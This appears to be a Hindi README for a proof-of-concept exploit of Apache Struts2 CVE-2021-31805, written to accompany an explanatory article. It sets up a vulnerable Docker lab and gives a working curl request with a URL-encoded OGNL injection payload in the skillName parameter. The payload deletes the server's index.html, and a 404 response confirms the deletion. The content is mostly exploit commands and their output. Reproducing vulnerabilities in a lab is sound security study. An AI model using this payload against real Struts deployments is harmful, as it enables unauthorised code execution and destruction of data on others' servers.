aeyesec/cve-2021-31805Apache Struts2 RCE (CVE-2021-31805) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जिसमें Docker सेटअप और curl-आधारित शोषण चरण शामिल हैं।
CVE-2021-31805 (Apache Struts2) के लिए PoC CVE-2021-31805 की व्याख्या लेख में उपयोग किया गया एप्लिकेशन।
$ docker-compose build
$ docker-compose up -d
http://localhost:8080/struts2-showcase-2.5.29/index.html पर पहुँचें और सुनिश्चित करें कि Welcome पृष्ठ प्रदर्शित होता है।
$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/index.html'
HTTP/1.1 200
(略)
$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/skill/list.action?skillName=%28%23%61%70%70%6c%69%63%61%74%69%6f%6e%5b%27%6f%72%67%2e%61%70%61%63%68%65%2e%63%61%74%61%6c%69%6e%61%2e%72%65%73%6f%75%72%63%65%73%27%5d%2e%67%65%74%52%65%73%6f%75%72%63%65%28%27%2f%69%6e%64%65%78%2e%68%74%6d%6c%27%29%2e%64%65%6c%65%74%65%28%29%29'
HTTP/1.1 200
(略)
URL डिकोड किया गया मान है
skillName=(#application['org.apache.catalina.resources'].getResource('/index.html').delete())
।
$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/index.html'
HTTP/1.1 404
(snip)
index.html फ़ाइल हटा दी गई है, इसकी पुष्टि की जा सकती है।
<li><s:label id="test2" name="%{skillName}"/></li>